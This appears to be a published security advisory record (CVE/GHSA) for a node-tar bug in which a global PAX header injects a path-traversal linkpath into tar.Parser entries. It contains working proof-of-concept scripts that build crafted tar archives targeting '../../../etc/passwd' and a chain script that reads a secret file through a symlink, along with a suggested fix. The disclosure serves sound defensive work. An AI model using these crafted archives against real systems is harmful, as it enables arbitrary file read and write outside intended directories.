{"id":"CVE-2026-140239","aliases":["CVE-2026-140239","GHSA-ffhw-4r4q-5cwv"],"related":[],"kind":"vulnerability","state":"published","title":"node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation","summary":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, a PAX Global Extended Header containing linkpath can populate entry.linkpath on every entry returned by tar.Parser without a strict-mode warning. Direct tar.Parser or tar.list consumers that trust this value can create paths or symlinks outside their intended directory, resulting in arbitrary file read or write. Node-tar's own tar.x and tar.extract operations are not affected because Unpack separately rejects an escaping linkpath. This issue is fixed in version 8.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, a PAX Global Extended Header containing linkpath can populate entry.linkpath on every entry returned by tar.Parser without a strict-mode warning. Direct tar.Parser or tar.list consumers that trust this value can create paths or symlinks outside their intended directory, resulting in arbitrary file read or write. Node-tar's own tar.x and tar.extract operations are not affected because Unpack separately rejects an escaping linkpath. This issue is fixed in version 8.0.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA tar archive with a **Global Extended Header** (PAX type `g`) with a `linkpath` field injects that value into every entry returned by `tar.Parser` , including plain `File` and `Directory` entries, with **zero warnings under `strict: true`**. This happens because `header.js`'s `#slurp()` correctly excludes `linkpath` from global headers, but `read-entry.js`'s `#slurp()` does not apply the same filter. Any application that consumes `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.\n\n---\n\n## Details\n\nThere are two separate `#slurp()` implementations apply Global Extended Header (`g`-type) fields to parsed state, and they filter different fields.\n\nIn `src/header.js`, `#slurp(ex, gex = false)` **correctly** excludes `linkpath` when `gex` is `true`:\n\n```js\n// header.js (correct)\nif (k === 'linkpath' && gex) continue;\n```\n\nIn `src/read-entry.js`, the equivalent method has **no such clause** — it only excludes `path`:\n\n```js\n// read-entry.js (bug: linkpath is not excluded)\nif (k === 'path' && gex) continue;\n// linkpath from the GEX is not filtered here\n```\n\nThe execution flow:\n\n1. `parse.js` calls `Pax.parse(meta, gex, true)` → stores the GEX object, including the `linkpath` field\n2. `header.js` decode runs `#slurp(gex, true)` → correctly skips `linkpath` → `header.linkpath` is empty\n3. `consumeHeader()` checks `header.linkpath` (empty) → the `\"linkpath forbidden in global header\"` warning **never fires**\n4. `ReadEntry` constructor runs `this.#slurp(gex, true)` → no `linkpath` filter → **`entry.linkpath` is set to the attacker's value with no warning raised**\n\nConfirmed against `tar@7.5.22`:\n\n- `node_modules/tar/dist/commonjs/read-entry.js` lines 122–132 (buggy `#slurp`)\n- `node_modules/tar/dist/commonjs/header.js` lines 184–194 (correct `#slurp`)\n\n**Scope note:** `tar`'s own extraction engine (`Unpack`, used by `tar.x()` / `tar.extract()`) has a separate guard, `STRIPABSOLUTEPATH`, that resolves `linkpath` relative to the entry's directory and rejects it if it escapes `cwd`. This guard fires **after** `ReadEntry` is constructed and blocks the traversal at extraction time:\n\n- `tar.x()` / `tar.extract()` → **not vulnerable** (confirmed: throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`)\n- `tar.Parser` / `tar.list()` direct consumers that trust `entry.linkpath` → **vulnerable**\n\n---\n\n## Proof of Concept\n\nEnvironment: Node.js v22.23.4, `tar@7.5.22`. Run: `npm install tar@7.5.22 && node <script>.js`\n\n### poc-tar1.js — zero-warning injection via `tar.Parser` with `strict: true`\n\n```js\nconst tar = require('tar')\n\nfunction padBlock(buf) {\n  const rem = buf.length % 512\n  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])\n}\nfunction mkHeader(fields) {\n  const b = Buffer.alloc(512, 0)\n  const ws = (s, off, len) =>\n    b.write(String(s || '').slice(0, len).padEnd(len, '\\0'), off, 'latin1')\n  const wo = (n, off, len) =>\n    ws(n.toString(8).padStart(len - 1, '0') + '\\0', off, len)\n  ws(fields.path  || 'file', 0,   100)\n  wo(fields.mode  || 0o644,  100, 8)\n  wo(0, 108, 8); wo(0, 116, 8)\n  wo(fields.size  || 0,      124, 12)\n  wo(Math.floor(Date.now() / 1000), 136, 12)\n  b.write('        ', 148, 'latin1')\n  ws(fields.type  || '0',    156, 1)\n  ws(fields.linkpath || '',  157, 100)\n  b.write('ustar\\000', 257, 'latin1')\n  b.write('00',        263, 'latin1')\n  let sum = 0\n  for (let i = 0; i < 512; i++) sum += b[i]\n  wo(sum, 148, 8)\n  return b\n}\nfunction mkGEX(kvpairs) {\n  let body = ''\n  for (const [k, v] of Object.entries(kvpairs)) {\n    const keyval = ` ${k}=${v}\\n`\n    const len = String(keyval.length).length + keyval.length\n    body += `${len} ${k}=${v}\\n`\n  }\n  const bodyBuf = Buffer.from(body, 'utf8')\n  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })\n  return Buffer.concat([hdr, padBlock(bodyBuf)])\n}\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: '../../../etc/passwd' }),\n  mkHeader({ path: 'README.md',    type: '0', size: 0 }),\n  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),\n  mkHeader({ path: 'package.json', type: '0', size: 0 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst warnings = []\nconst parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })\nparser.on('entry', entry => {\n  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)\n  entry.resume()\n})\nparser.on('end', () => {\n  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)\n})\nparser.end(archive)\n```\n\n**Expected output:**\n\n```\nREADME.md    | File | linkpath: ../../../etc/passwd\nsrc/index.js | File | linkpath: ../../../etc/passwd\npackage.json | File | linkpath: ../../../etc/passwd\nwarnings under strict:true: NONE\n```\n\n### chain-tar1.js — arbitrary file read via a vulnerable downstream consumer\n\nModels a tool that uses `tar.Parser` to inspect an archive and then acts on `entry.linkpath` without checking it:\n\n```js\nconst tar  = require('tar')\nconst fs   = require('fs')\nconst path = require('path')\nconst os   = require('os')\n\nconst tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))\nconst cwd    = path.join(tmpdir, 'extract')\nconst secret = path.join(tmpdir, 'secret.txt')\nfs.mkdirSync(cwd)\nfs.writeFileSync(secret, 'db_password=hunter2\\napi_key=sk-REAL\\n')\n\n// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: '../../secret.txt' }),\n  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),\n  Buffer.alloc(1024, 0),\n])\n\nconst parser = new tar.Parser()\nparser.on('entry', entry => {\n  if (entry.type === 'SymbolicLink') {\n    const target   = entry.linkpath   // GEX-injected value\n    const linkAt   = path.join(cwd, entry.path)\n    fs.mkdirSync(path.dirname(linkAt), { recursive: true })\n    fs.symlinkSync(target, linkAt)\n    const resolved = path.resolve(path.dirname(linkAt), target)\n    console.log('symlink:', linkAt, '->', target)\n    console.log('escapes cwd:', !resolved.startsWith(cwd))\n    if (fs.existsSync(resolved))\n      console.log('READ:', fs.readFileSync(resolved, 'utf8'))\n  }\n  entry.resume()\n})\nparser.end(archive)\n```\n\n### control-tar1-extraction-not-vulnerable.js — confirms `tar.x()` is not affected\n\nThe same archive fed to `tar.x()` throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`. The `Unpack` layer's `STRIPABSOLUTEPATH` guard blocks the traversal at extraction time.\n\n---\n\n## Impact\n\n**CWE-20:** Improper Input Validation **CWE-345:** Insufficient Verification of Data Authenticity\n\nImpacted: any application or tool that uses `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build filesystem paths, create symlinks, or make routing decisions **without checking that the value stays within the expected directory**. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the `Parser` API. It also breaks `strict: true`, which is supposed to throw on dangerous archive contents.\n\nNot impacted: applications that only use `tar.x()` / `tar.extract()` for extraction, because `Unpack`'s `STRIPABSOLUTEPATH` guard rejects an escaping `linkpath` at that layer.\n\nImpact on a vulnerable consumer is **arbitrary file read and/or write** outside the extraction directory via a crafted symlink.\n\n---\n\n## Suggested Fix\n\nOne line in `src/read-entry.ts`, inside `#slurp()`, adding the same filter that already exists in `src/header.ts`:\n\n```ts\n// before (read-entry.ts)\nreturn !(v === null || v === undefined || (k === 'path' && gex));\n\n// after\nreturn !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));\n```","format":"markdown","source":"ghsa"}],"published":"2026-12-01T17:23:34.312Z","modified":"2026-12-02T01:45:50.622Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-20","CWE-345"],"affected":[{"ranges":[{"version":"< 8.0.0","status":"affected"}],"vendor":"isaacs","product":"node-tar","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"8.0.0"}],"ecosystem":"npm","package":"tar","purl":"pkg:npm/tar","source":"ghsa"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-ffhw-4r4q-5cwv","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140239","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-140239","url":"https://www.cve.org/CVERecord?id=CVE-2026-140239","licence":"CVE Terms of Use","modified":"2026-12-01T17:23:34.312Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ffhw-4r4q-5cwv","url":"https://github.com/advisories/GHSA-ffhw-4r4q-5cwv","licence":"CC-BY-4.0","modified":"2026-12-02T01:45:50.622Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-140239","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140239","licence":"Public domain","modified":"2026-12-01T18:17:27.940Z"}],"updatedAt":"2026-12-02T01:57:26.323Z"}